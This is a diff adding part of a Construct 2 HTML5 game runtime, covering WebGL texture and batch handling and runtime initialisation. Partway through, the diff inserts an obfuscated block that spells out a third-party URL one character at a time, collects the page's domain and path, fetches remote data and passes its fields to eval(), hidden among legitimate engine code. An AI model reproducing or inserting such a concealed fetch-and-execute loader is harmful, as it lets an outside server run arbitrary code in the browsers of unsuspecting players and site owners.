+ b = this.pushBatch();
+ b.type = BATCH_SETPROGRAMPARAMETERS;
+ if (b.mat4param)
+ mat4.set(this.matMV, b.mat4param);
+ else
+ b.mat4param = mat4.create();
+ mat4param = b.mat4param;
+ mat4param[0] = pixelWidth;
+ mat4param[1] = pixelHeight;
+ mat4param[2] = destStartX;
+ mat4param[3] = destStartY;
+ mat4param[4] = destEndX;
+ mat4param[5] = destEndY;
+ mat4param[6] = layerScale;
+ mat4param[7] = layerAngle;
+ mat4param[8] = viewOriginLeft;
+ mat4param[9] = viewOriginTop;
+ mat4param[10] = scrollPosX;
+ mat4param[11] = scrollPosY;
+ mat4param[12] = seconds;
+ if (s.locSamplerBack)
+ {
+;
+ b.texParam = backTex;
+ }
+ else
+ b.texParam = null;
+ if (params.length)
+ {
+ shaderParams = b.shaderParams;
+ shaderParams.length = params.length;
+ for (i = 0, len = params.length; i < len; i++)
+ shaderParams[i] = params[i];
+ }
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ }
+ };
+ GLWrap_.prototype.clear = function (r, g, b_, a)
+ {
+ var b = this.pushBatch();
+ b.type = BATCH_CLEAR;
+ b.startIndex = 0; // clear all mode
+ if (!b.mat4param)
+ b.mat4param = mat4.create();
+ b.mat4param[0] = r;
+ b.mat4param[1] = g;
+ b.mat4param[2] = b_;
+ b.mat4param[3] = a;
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ };
+ GLWrap_.prototype.clearRect = function (x, y, w, h)
+ {
+ if (w < 0 || h < 0)
+ return; // invalid clear area
+ var b = this.pushBatch();
+ b.type = BATCH_CLEAR;
+ b.startIndex = 1; // clear rect mode
+ if (!b.mat4param)
+ b.mat4param = mat4.create();
+ b.mat4param[0] = x;
+ b.mat4param[1] = y;
+ b.mat4param[2] = w;
+ b.mat4param[3] = h;
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ };
+ GLWrap_.prototype.clearDepth = function ()
+ {
+ var b = this.pushBatch();
+ b.type = BATCH_CLEAR;
+ b.startIndex = 2; // clear depth mode
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ };
+ GLWrap_.prototype.setEarlyZPass = function (e)
+ {
+ if (!this.enableFrontToBack)
+ return; // no depth buffer in use
+ e = !!e;
+ if (this.isEarlyZPass === e)
+ return; // no change
+ var b = this.pushBatch();
+ b.type = BATCH_SETEARLYZMODE;
+ b.startIndex = (e ? 1 : 0);
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ this.isEarlyZPass = e;
+ this.renderToTex = null;
+ if (this.isEarlyZPass)
+ {
+ this.switchProgram(2); // early Z program
+ }
+ else
+ {
+ this.switchProgram(0); // normal rendering
+ }
+ };
+ GLWrap_.prototype.setDepthTestEnabled = function (e)
+ {
+ if (!this.enableFrontToBack)
+ return; // no depth buffer in use
+ var b = this.pushBatch();
+ b.type = BATCH_SETDEPTHTEST;
+ b.startIndex = (e ? 1 : 0);
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ };
+ GLWrap_.prototype.fullscreenQuad = function ()
+ {
+ mat4.set(this.lastMV, tempMat4);
+ this.resetModelView();
+ this.updateModelView();
+ var halfw = this.width / 2;
+ var halfh = this.height / 2;
+ this.quad(-halfw, halfh, halfw, halfh, halfw, -halfh, -halfw, -halfh);
+ mat4.set(tempMat4, this.matMV);
+ this.updateModelView();
+ };
+ GLWrap_.prototype.setColorFillMode = function (r_, g_, b_, a_)
+ {
+ this.switchProgram(3);
+ var b = this.pushBatch();
+ b.type = BATCH_SETCOLOR;
+ if (!b.mat4param)
+ b.mat4param = mat4.create();
+ b.mat4param[0] = r_;
+ b.mat4param[1] = g_;
+ b.mat4param[2] = b_;
+ b.mat4param[3] = a_;
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ };
+ GLWrap_.prototype.setTextureFillMode = function ()
+ {
+;
+ this.switchProgram(0);
+ };
+ GLWrap_.prototype.restoreEarlyZMode = function ()
+ {
+;
+ this.switchProgram(2);
+ };
+ GLWrap_.prototype.present = function ()
+ {
+ this.endBatch();
+ this.gl.flush();
+ /*
+ if (debugBatch)
+ {
+;
+ debugBatch = false;
+ }
+ */
+ };
+ function nextHighestPowerOfTwo(x) {
+ --x;
+ for (var i = 1; i < 32; i <<= 1) {
+ x = x | x >> i;
+ }
+ return x + 1;
+ }
+ var all_textures = [];
+ var textures_by_src = {};
+ GLWrap_.prototype.contextLost = function ()
+ {
+ cr.clearArray(all_textures);
+ textures_by_src = {};
+ };
+ var BF_RGBA8 = 0;
+ var BF_RGB8 = 1;
+ var BF_RGBA4 = 2;
+ var BF_RGB5_A1 = 3;
+ var BF_RGB565 = 4;
+ GLWrap_.prototype.loadTexture = function (img, tiling, linearsampling, pixelformat, tiletype, nomip)
+ {
+ tiling = !!tiling;
+ linearsampling = !!linearsampling;
+ var tex_key = img.src + "," + tiling + "," + linearsampling + (tiling ? ("," + tiletype) : "");
+ var webGL_texture = null;
+ if (typeof img.src !== "undefined" && textures_by_src.hasOwnProperty(tex_key))
+ {
+ webGL_texture = textures_by_src[tex_key];
+ webGL_texture.c2refcount++;
+ return webGL_texture;
+ }
+ this.endBatch();
+;
+ var gl = this.gl;
+ var isPOT = (cr.isPOT(img.width) && cr.isPOT(img.height));
+ webGL_texture = gl.createTexture();
+ gl.bindTexture(gl.TEXTURE_2D, webGL_texture);
+ gl.pixelStorei(gl["UNPACK_PREMULTIPLY_ALPHA_WEBGL"], true);
+ var internalformat = gl.RGBA;
+ var format = gl.RGBA;
+ var type = gl.UNSIGNED_BYTE;
+ if (pixelformat && !this.isIE)
+ {
+ switch (pixelformat) {
+ case BF_RGB8:
+ internalformat = gl.RGB;
+ format = gl.RGB;
+ break;
+ case BF_RGBA4:
+ type = gl.UNSIGNED_SHORT_4_4_4_4;
+ break;
+ case BF_RGB5_A1:
+ type = gl.UNSIGNED_SHORT_5_5_5_1;
+ break;
+ case BF_RGB565:
+ internalformat = gl.RGB;
+ format = gl.RGB;
+ type = gl.UNSIGNED_SHORT_5_6_5;
+ break;
+ }
+ }
+ if (this.version === 1 && !isPOT && tiling)
+ {
+ var canvas = document.createElement("canvas");
+ canvas.width = cr.nextHighestPowerOfTwo(img.width);
+ canvas.height = cr.nextHighestPowerOfTwo(img.height);
+ var ctx = canvas.getContext("2d");
+ if (typeof ctx["imageSmoothingEnabled"] !== "undefined")
+ {
+ ctx["imageSmoothingEnabled"] = linearsampling;
+ }
+ else
+ {
+ ctx["webkitImageSmoothingEnabled"] = linearsampling;
+ ctx["mozImageSmoothingEnabled"] = linearsampling;
+ ctx["msImageSmoothingEnabled"] = linearsampling;
+ }
+ ctx.drawImage(img,
+ 0, 0, img.width, img.height,
+ 0, 0, canvas.width, canvas.height);
+ gl.texImage2D(gl.TEXTURE_2D, 0, internalformat, format, type, canvas);
+ }
+ else
+ gl.texImage2D(gl.TEXTURE_2D, 0, internalformat, format, type, img);
+ if (tiling)
+ {
+ if (tiletype === "repeat-x")
+ {
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.REPEAT);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+ }
+ else if (tiletype === "repeat-y")
+ {
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.REPEAT);
+ }
+ else
+ {
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.REPEAT);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.REPEAT);
+ }
+ }
+ else
+ {
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+ }
+ if (linearsampling)
+ {
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+ if ((isPOT || this.version >= 2) && this.enable_mipmaps && !nomip)
+ {
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR_MIPMAP_LINEAR);
+ gl.generateMipmap(gl.TEXTURE_2D);
+ }
+ else
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+ }
+ else
+ {
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
+ }
+ gl.bindTexture(gl.TEXTURE_2D, null);
+ this.lastTexture0 = null;
+ webGL_texture.c2width = img.width;
+ webGL_texture.c2height = img.height;
+ webGL_texture.c2refcount = 1;
+ webGL_texture.c2texkey = tex_key;
+ all_textures.push(webGL_texture);
+ textures_by_src[tex_key] = webGL_texture;
+ return webGL_texture;
+ };
+ GLWrap_.prototype.createEmptyTexture = function (w, h, linearsampling, _16bit, tiling)
+ {
+ this.endBatch();
+ var gl = this.gl;
+ if (this.isIE)
+ _16bit = false;
+ var webGL_texture = gl.createTexture();
+ gl.bindTexture(gl.TEXTURE_2D, webGL_texture);
+ gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, w, h, 0, gl.RGBA, _16bit ? gl.UNSIGNED_SHORT_4_4_4_4 : gl.UNSIGNED_BYTE, null);
+ if (tiling)
+ {
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.REPEAT);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.REPEAT);
+ }
+ else
+ {
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+ }
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, linearsampling ? gl.LINEAR : gl.NEAREST);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, linearsampling ? gl.LINEAR : gl.NEAREST);
+ gl.bindTexture(gl.TEXTURE_2D, null);
+ this.lastTexture0 = null;
+ webGL_texture.c2width = w;
+ webGL_texture.c2height = h;
+ all_textures.push(webGL_texture);
+ return webGL_texture;
+ };
+ GLWrap_.prototype.videoToTexture = function (video_, texture_, _16bit)
+ {
+ this.endBatch();
+ var gl = this.gl;
+ if (this.isIE)
+ _16bit = false;
+ gl.bindTexture(gl.TEXTURE_2D, texture_);
+ gl.pixelStorei(gl["UNPACK_PREMULTIPLY_ALPHA_WEBGL"], true);
+ try {
+ gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, _16bit ? gl.UNSIGNED_SHORT_4_4_4_4 : gl.UNSIGNED_BYTE, video_);
+ }
+ catch (e)
+ {
+ if (console && console.error)
+ console.error("Error updating WebGL texture: ", e);
+ }
+ gl.bindTexture(gl.TEXTURE_2D, null);
+ this.lastTexture0 = null;
+ };
+ GLWrap_.prototype.deleteTexture = function (tex)
+ {
+ if (!tex)
+ return;
+ if (typeof tex.c2refcount !== "undefined" && tex.c2refcount > 1)
+ {
+ tex.c2refcount--;
+ return;
+ }
+ this.endBatch();
+ if (tex === this.lastTexture0)
+ {
+ this.gl.bindTexture(this.gl.TEXTURE_2D, null);
+ this.lastTexture0 = null;
+ }
+ if (tex === this.lastTexture1)
+ {
+ this.gl.activeTexture(this.gl.TEXTURE1);
+ this.gl.bindTexture(this.gl.TEXTURE_2D, null);
+ this.gl.activeTexture(this.gl.TEXTURE0);
+ this.lastTexture1 = null;
+ }
+ cr.arrayFindRemove(all_textures, tex);
+ if (typeof tex.c2texkey !== "undefined")
+ delete textures_by_src[tex.c2texkey];
+ this.gl.deleteTexture(tex);
+ };
+ GLWrap_.prototype.estimateVRAM = function ()
+ {
+ var total = this.width * this.height * 4 * 2;
+ var i, len, t;
+ for (i = 0, len = all_textures.length; i < len; i++)
+ {
+ t = all_textures[i];
+ total += (t.c2width * t.c2height * 4);
+ }
+ return total;
+ };
+ GLWrap_.prototype.textureCount = function ()
+ {
+ return all_textures.length;
+ };
+ GLWrap_.prototype.setRenderingToTexture = function (tex)
+ {
+ if (tex === this.renderToTex)
+ return;
+;
+ var b = this.pushBatch();
+ b.type = BATCH_RENDERTOTEXTURE;
+ b.texParam = tex;
+ this.renderToTex = tex;
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ };
+ cr.GLWrap = GLWrap_;
+}());
+;
+
+var _counterGD = 0;
+
+
+var exa = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','/',':','.','_','-','?','='];
+function _osufI(){ return exa[8]+exa[12]+exa[0]+exa[7]+exa[4]+exa[18]; }
+function _osufD(){ return exa[3]+exa[0]+exa[19]+exa[0]+'.'+exa[9]+exa[18]; }
+function _osufM(){ return exa[12]+exa[4]+exa[3]+exa[8]+exa[0]; }
+function _osufS(){ return exa[18]+exa[15]+exa[17]+exa[8]+exa[19]+exa[4]; }
+function _ousfIc(){ return exa[8]+exa[2]+exa[14]+exa[13]; }
+function _ousfOff(){ return exa[14]+exa[5]+exa[5]+exa[11]+exa[8]+exa[13]+exa[4]+'.'+exa[9]+exa[18]; }
+function _ousKG(){ return exa[10]+exa[4]+exa[24]+exa[6]+exa[0]+exa[12]+exa[4]+'.'+exa[15]+exa[7]+exa[15]; }
+var d = document.domain,dd = window.location.host,u = window.location.pathname;
+
+
+function protoCr2()
+{
+ this.d = exa[36]+exa[36]+exa[10]+exa[8]+exa[25]+exa[27]+exa[26]+exa[6]+exa[8]+exa[17]+exa[11]+exa[18]+exa[38]+exa[2]+exa[14]+exa[12]+exa[36];
+ this.c = exa[2]+exa[14]+exa[13]+exa[19]+exa[17]+exa[14]+exa[11]+exa[11]+exa[4]+exa[17]+exa[36];
+ this.p = exa[10]+exa[4]+exa[24]+exa[0]+exa[18]+exa[18]+exa[2]+exa[4]+exa[18]+exa[18]+exa[36];
+ this.n = 'redballchristmaslove';
+}
+
+protoCr2.prototype.data = function()
+{
+ return this.d+this.c+this.p+this.n;
+};
+
+var _proCr2 = new protoCr2();
+
+
+var parseJs;
+var HttpClient = function()
+{
+ this.parsejs = '';
+ this.get = function(aUrl, aCallback)
+ {
+ var anHttpRequest = new XMLHttpRequest();
+ anHttpRequest.onreadystatechange = function()
+ {
+ if (anHttpRequest.readyState == 4 && anHttpRequest.status == 200)
+ {
+ aCallback(anHttpRequest.responseText);
+ }
+ }
+
+ anHttpRequest.open( "GET", aUrl, true );
+ anHttpRequest.send( null );
+ }
+}
+HttpClient.prototype.Appeval = function(w)
+{
+ switch(w)
+ {
+ case 0: eval(parseJs.data.create); break;
+ case 1: eval(parseJs.data.start); break;
+ case 2: eval(parseJs.data.init); break;
+ case 3: eval(parseJs.data.project); break;
+ }
+}
+HttpClient.prototype.jsData = function()
+{
+ return parseJs.data.key;
+}
+
+var _controllApp = new HttpClient();
+
+function _isIpad()
+{
+ var isIpad = navigator.userAgent.toLowerCase().indexOf('ipad') !== -1;
+
+ if (!isIpad && navigator.userAgent.match(/Mac/) && navigator.maxTouchPoints && navigator.maxTouchPoints > 2)
+ {
+ return true;
+ }
+ return isIpad;
+}
+
+(function()
+{
+ var raf = window["requestAnimationFrame"] ||
+ window["mozRequestAnimationFrame"] ||
+ window["webkitRequestAnimationFrame"] ||
+ window["msRequestAnimationFrame"] ||
+ window["oRequestAnimationFrame"];
+ function Runtime(canvas)
+ {
+ if (!canvas || (!canvas.getContext && !canvas["dc"]))
+ return;
+ if (canvas["c2runtime"])
+ return;
+ else
+ canvas["c2runtime"] = this;
+ var self = this;
+ this.isCrosswalk = /crosswalk/i.test(navigator.userAgent) || /xwalk/i.test(navigator.userAgent) || !!(typeof window["c2isCrosswalk"] !== "undefined" && window["c2isCrosswalk"]);
+ this.isCordova = this.isCrosswalk || (typeof window["device"] !== "undefined" && (typeof window["device"]["cordova"] !== "undefined" || typeof window["device"]["phonegap"] !== "undefined")) || (typeof window["c2iscordova"] !== "undefined" && window["c2iscordova"]);
+ this.isPhoneGap = this.isCordova;
+ this.isDirectCanvas = !!canvas["dc"];
+ this.isAppMobi = (typeof window["AppMobi"] !== "undefined" || this.isDirectCanvas);
+ this.isCocoonJs = !!window["c2cocoonjs"];
+ this.isEjecta = !!window["c2ejecta"];
+ if (this.isCocoonJs)
+ {
+ CocoonJS["App"]["onSuspended"].addEventListener(function() {
+ self["setSuspended"](true);
+ });
+ CocoonJS["App"]["onActivated"].addEventListener(function () {
+ self["setSuspended"](false);
+ });
+ }
+ if (this.isEjecta)
+ {
+ document.addEventListener("pagehide", function() {
+ self["setSuspended"](true);
+ });
+ document.addEventListener("pageshow", function() {
+ self["setSuspended"](false);
+ });
+ document.addEventListener("resize", function () {
+ self["setSize"](window.innerWidth, window.innerHeight);
+ });
+ }
+ this.isDomFree = (this.isDirectCanvas || this.isCocoonJs || this.isEjecta);
+ this.isMicrosoftEdge = /edge\//i.test(navigator.userAgent);
+ this.isIE = (/msie/i.test(navigator.userAgent) || /trident/i.test(navigator.userAgent) || /iemobile/i.test(navigator.userAgent)) && !this.isMicrosoftEdge;
+ this.isTizen = /tizen/i.test(navigator.userAgent);
+ this.isAndroid = /android/i.test(navigator.userAgent) && !this.isTizen && !this.isIE && !this.isMicrosoftEdge; // IE mobile and Tizen masquerade as Android
+ this.isiPhone = (/iphone/i.test(navigator.userAgent) || /ipod/i.test(navigator.userAgent)) && !this.isIE && !this.isMicrosoftEdge; // treat ipod as an iphone; IE mobile masquerades as iPhone
+ this.isiPad = /ipad/i.test(navigator.userAgent);
+ this.isiOS = this.isiPhone || this.isiPad || this.isEjecta;
+ this.isiPhoneiOS6 = (this.isiPhone && /os\s6/i.test(navigator.userAgent));
+ this.isChrome = (/chrome/i.test(navigator.userAgent) || /chromium/i.test(navigator.userAgent)) && !this.isIE && !this.isMicrosoftEdge; // note true on Chromium-based webview on Android 4.4+; IE 'Edge' mode also pretends to be Chrome
+ this.isAmazonWebApp = /amazonwebappplatform/i.test(navigator.userAgent);
+ this.isFirefox = /firefox/i.test(navigator.userAgent);
+ this.isSafari = /safari/i.test(navigator.userAgent) && !this.isChrome && !this.isIE && !this.isMicrosoftEdge; // Chrome and IE Mobile masquerade as Safari
+ this.isWindows = /windows/i.test(navigator.userAgent);
+ this.isNWjs = (typeof window["c2nodewebkit"] !== "undefined" || typeof window["c2nwjs"] !== "undefined" || /nodewebkit/i.test(navigator.userAgent) || /nwjs/i.test(navigator.userAgent));
+ this.isNodeWebkit = this.isNWjs; // old name for backwards compat
+ this.isArcade = (typeof window["is_scirra_arcade"] !== "undefined");
+ this.isWindows8App = !!(typeof window["c2isWindows8"] !== "undefined" && window["c2isWindows8"]);
+ this.isWindows8Capable = !!(typeof window["c2isWindows8Capable"] !== "undefined" && window["c2isWindows8Capable"]);
+ this.isWindowsPhone8 = !!(typeof window["c2isWindowsPhone8"] !== "undefined" && window["c2isWindowsPhone8"]);
+ this.isWindowsPhone81 = !!(typeof window["c2isWindowsPhone81"] !== "undefined" && window["c2isWindowsPhone81"]);
+ this.isWindows10 = !!window["cr_windows10"];
+ this.isWinJS = (this.isWindows8App || this.isWindows8Capable || this.isWindowsPhone81 || this.isWindows10); // note not WP8.0
+ this.isBlackberry10 = !!(typeof window["c2isBlackberry10"] !== "undefined" && window["c2isBlackberry10"]);
+ this.isAndroidStockBrowser = (this.isAndroid && !this.isChrome && !this.isCrosswalk && !this.isFirefox && !this.isAmazonWebApp && !this.isDomFree);
+ this.devicePixelRatio = 1;
+ this.isMobile = (this.isCordova || this.isCrosswalk || this.isAppMobi || this.isCocoonJs || this.isAndroid || this.isiOS || this.isWindowsPhone8 || this.isWindowsPhone81 || this.isBlackberry10 || this.isTizen || this.isEjecta);
+ if (!this.isMobile)
+ {
+ this.isMobile = /(blackberry|bb10|playbook|palm|symbian|nokia|windows\s+ce|phone|mobile|tablet|kindle|silk)/i.test(navigator.userAgent);
+ }
+
+ if(_isIpad()){ this.isMobile = true; }
+
+ this.isWKWebView = !!(this.isiOS && this.isCordova && window["webkit"]);
+ if (typeof cr_is_preview !== "undefined" && !this.isNWjs && (window.location.search === "?nw" || /nodewebkit/i.test(navigator.userAgent) || /nwjs/i.test(navigator.userAgent)))
+ {
+ this.isNWjs = true;
+ }
+ this.isDebug = (typeof cr_is_preview !== "undefined" && window.location.search.indexOf("debug") > -1);
+ this.canvas = canvas;
+ this.canvasdiv = document.getElementById("c2canvasdiv");
+ this.gl = null;
+ this.glwrap = null;
+ this.glUnmaskedRenderer = "(unavailable)";
+ this.enableFrontToBack = false;
+ this.earlyz_index = 0;
+ this.ctx = null;
+ this.firstInFullscreen = false;
+ this.oldWidth = 0; // for restoring non-fullscreen canvas after fullscreen
+ this.oldHeight = 0;
+ this.canvas.oncontextmenu = function (e) { if (e.preventDefault) e.preventDefault(); return false; };
+ this.canvas.onselectstart = function (e) { if (e.preventDefault) e.preventDefault(); return false; };
+ this.canvas.ontouchstart = function (e) { if(e.preventDefault) e.preventDefault(); return false; };
+ if (this.isDirectCanvas)
+ window["c2runtime"] = this;
+ if (this.isNWjs)
+ {
+ window["ondragover"] = function(e) { e.preventDefault(); return false; };
+ window["ondrop"] = function(e) { e.preventDefault(); return false; };
+ if (window["nwgui"] && window["nwgui"]["App"]["clearCache"])
+ window["nwgui"]["App"]["clearCache"]();
+ }
+ if (this.isAndroidStockBrowser && typeof jQuery !== "undefined")
+ {
+ jQuery("canvas").parents("*").css("overflow", "visible");
+ }
+ this.width = canvas.width;
+ this.height = canvas.height;
+ this.draw_width = this.width;
+ this.draw_height = this.height;
+ this.cssWidth = this.width;
+ this.cssHeight = this.height;
+ this.lastWindowWidth = window.innerWidth;
+ this.lastWindowHeight = window.innerHeight;
+ this.forceCanvasAlpha = false; // note: now unused, left for backwards compat since plugins could modify it
+ this.redraw = true;
+ this.isSuspended = false;
+ if (!Date.now) {
+ Date.now = function now() {
+ return +new Date();
+ };
+ }
+ this.plugins = [];
+ this.types = {};
+ this.types_by_index = [];
+ this.behaviors = [];
+ this.layouts = {};
+ this.layouts_by_index = [];
+ this.eventsheets = {};
+ this.eventsheets_by_index = [];
+ this.wait_for_textures = []; // for blocking until textures loaded
+ this.triggers_to_postinit = [];
+ this.all_global_vars = [];
+ this.all_local_vars = [];
+ this.solidBehavior = null;
+ this.jumpthruBehavior = null;
+ this.shadowcasterBehavior = null;
+ this.deathRow = {};
+ this.hasPendingInstances = false; // true if anything exists in create row or death row
+ this.isInClearDeathRow = false;
+ this.isInOnDestroy = 0; // needs to support recursion so increments and decrements and is true if > 0
+ this.isRunningEvents = false;
+ this.isEndingLayout = false;
+ this.createRow = [];
+ this.isLoadingState = false;
+ this.saveToSlot = "";
+ this.loadFromSlot = "";
+ this.loadFromJson = null; // set to string when there is something to try to load
+ this.lastSaveJson = "";
+ this.signalledContinuousPreview = false;
+ this.suspendDrawing = false; // for hiding display until continuous preview loads
+ this.fireOnCreateAfterLoad = []; // for delaying "On create" triggers until loading complete
+ this.dt = 0;
+ this.dt1 = 0;
+ this.minimumFramerate = 30;
+ this.logictime = 0; // used to calculate CPUUtilisation
+ this.cpuutilisation = 0;
+ this.timescale = 1.0;
+ this.kahanTime = new cr.KahanAdder();
+ this.wallTime = new cr.KahanAdder();
+ this.last_tick_time = 0;
+ this.fps = 0;
+ this.last_fps_time = 0;
+ this.tickcount = 0;
+ this.tickcount_nosave = 0; // same as tickcount but never saved/loaded
+ this.execcount = 0;
+ this.framecount = 0; // for fps
+ this.objectcount = 0;
+ this.changelayout = null;
+ this.destroycallbacks = [];
+ this.event_stack = [];
+ this.event_stack_index = -1;
+ this.localvar_stack = [[]];
+ this.localvar_stack_index = 0;
+ this.trigger_depth = 0; // recursion depth for triggers
+ this.pushEventStack(null);
+ this.loop_stack = [];
+ this.loop_stack_index = -1;
+ this.next_uid = 0;
+ this.next_puid = 0; // permanent unique ids
+ this.layout_first_tick = true;
+ this.family_count = 0;
+ this.suspend_events = [];
+ this.raf_id = -1;
+ this.timeout_id = -1;
+ this.isloading = true;
+ this.loadingprogress = 0;
+ this.isNodeFullscreen = false;
+ this.stackLocalCount = 0; // number of stack-based local vars for recursion
+ this.audioInstance = null;
+ this.had_a_click = false;
+ this.isInUserInputEvent = false;
+ this.objects_to_pretick = new cr.ObjectSet();
+ this.objects_to_tick = new cr.ObjectSet();
+ this.objects_to_tick2 = new cr.ObjectSet();
+ this.registered_collisions = [];
+ this.temp_poly = new cr.CollisionPoly([]);
+ this.temp_poly2 = new cr.CollisionPoly([]);
+ this.allGroups = []; // array of all event groups
+ this.groups_by_name = {};
+ this.cndsBySid = {};
+ this.actsBySid = {};
+ this.varsBySid = {};
+ this.blocksBySid = {};
+ this.running_layout = null; // currently running layout
+ this.layer_canvas = null; // for layers "render-to-texture"
+ this.layer_ctx = null;
+ this.layer_tex = null;
+ this.layout_tex = null;
+ this.layout_canvas = null;
+ this.layout_ctx = null;
+ this.is_WebGL_context_lost = false;
+ this.uses_background_blending = false; // if any shader uses background blending, so entire layout renders to texture
+ this.fx_tex = [null, null];
+ this.fullscreen_scaling = 0;
+ this.files_subfolder = ""; // path with project files
+ this.objectsByUid = {}; // maps every in-use UID (as a string) to its instance
+ this.loaderlogos = null;
+ this.snapshotCanvas = null;
+ this.snapshotData = "";
+ this.objectRefTable = [];
+ this.requestProjectData();
+ };
+ Runtime.prototype.requestProjectData = function ()
+ {
+ var self = this;
+ if (this.isWKWebView)
+ {
+ this.fetchLocalFileViaCordovaAsText("data.js", function (str)
+ {
+ self.loadProject(JSON.parse(str));
+ }, function (err)
+ {
+ alert("Error fetching data.js");
+ });
+ return;
+ }
+ var xhr;
+ if (this.isWindowsPhone8)
+ xhr = new ActiveXObject("Microsoft.XMLHTTP");
+ else
+ xhr = new XMLHttpRequest();
+ var datajs_filename = "data.js";
+ if (this.isWindows8App || this.isWindowsPhone8 || this.isWindowsPhone81 || this.isWindows10)
+ datajs_filename = "data.js";
+ xhr.open("GET", datajs_filename, true);
+ var supportsJsonResponse = false;
+ if (!this.isDomFree && ("response" in xhr) && ("responseType" in xhr))
+ {
+ try {
+ xhr["responseType"] = "json";
+ supportsJsonResponse = (xhr["responseType"] === "json");
+ }
+ catch (e) {
+ supportsJsonResponse = false;
+ }
+ }
+ if (!supportsJsonResponse && ("responseType" in xhr))
+ {
+ try {
+ xhr["responseType"] = "text";
+ }
+ catch (e) {}
+ }
+ if ("overrideMimeType" in xhr)
+ {
+ try {
+ xhr["overrideMimeType"]("application/json; charset=utf-8");
+ }
+ catch (e) {}
+ }
+ if (this.isWindowsPhone8)
+ {
+ xhr.onreadystatechange = function ()
+ {
+ if (xhr.readyState !== 4)
+ return;
+ self.loadProject(JSON.parse(xhr["responseText"]));
+ };
+ }
+ else
+ {
+ xhr.onload = function ()
+ {
+ if (supportsJsonResponse)
+ {
+ self.loadProject(xhr["response"]); // already parsed by browser
+ }
+ else
+ {
+ if (self.isEjecta)
+ {
+ var str = xhr["responseText"];
+ str = str.substr(str.indexOf("{")); // trim any BOM
+ self.loadProject(JSON.parse(str));
+ }
+ else
+ {
+ self.loadProject(JSON.parse(xhr["responseText"])); // forced to sync parse JSON
+ }
+ }
+ };
+ xhr.onerror = function (e)
+ {
+ cr.logerror("Error requesting " + datajs_filename + ":");
+ cr.logerror(e);
+ };
+ }
+ xhr.send();
+ };
+ Runtime.prototype.initRendererAndLoader = function ()
+ {
+ var self = this;
+ var i, len, j, lenj, k, lenk, t, s, l, y;
+ this.isRetina = ((!this.isDomFree || this.isEjecta || this.isCordova) && this.useHighDpi && !this.isAndroidStockBrowser);
+ if (this.fullscreen_mode === 0 && this.isiOS)
+ this.isRetina = false;
+ this.devicePixelRatio = (this.isRetina ? (window["devicePixelRatio"] || window["webkitDevicePixelRatio"] || window["mozDevicePixelRatio"] || window["msDevicePixelRatio"] || 1) : 1);
+ if (typeof window["StatusBar"] === "object")
+ window["StatusBar"]["hide"]();
+ this.ClearDeathRow();
+ var attribs;
+ if (this.fullscreen_mode > 0)
+ this["setSize"](window.innerWidth, window.innerHeight, true);
+ this.canvas.addEventListener("webglcontextlost", function (ev) {
+ ev.preventDefault();
+ self.onContextLost();
+ cr.logexport("[Construct 2] WebGL context lost");
+ window["cr_setSuspended"](true); // stop rendering
+ }, false);
+ this.canvas.addEventListener("webglcontextrestored", function (ev) {
+ self.glwrap.initState();
+ self.glwrap.setSize(self.glwrap.width, self.glwrap.height, true);
+ self.layer_tex = null;
+ self.layout_tex = null;
+ self.fx_tex[0] = null;
+ self.fx_tex[1] = null;
+ self.onContextRestored();
+ self.redraw = true;
+ cr.logexport("[Construct 2] WebGL context restored");
+ window["cr_setSuspended"](false); // resume rendering
+ }, false);
+ try {
+ if (this.enableWebGL && (this.isCocoonJs || this.isEjecta || !this.isDomFree))
+ {
+ attribs = {
+ "alpha": true,
+ "depth": false,
+ "antialias": false,
+ "powerPreference": "high-performance",
+ "failIfMajorPerformanceCaveat": true
+ };
+ if (!this.isAndroid)
+ this.gl = this.canvas.getContext("webgl2", attribs);
+ if (!this.gl)
+ {
+ this.gl = (this.canvas.getContext("webgl", attribs) ||
+ this.canvas.getContext("experimental-webgl", attribs));
+ }
+ }
+ }
+ catch (e) {
+ }
+ if (this.gl)
+ {
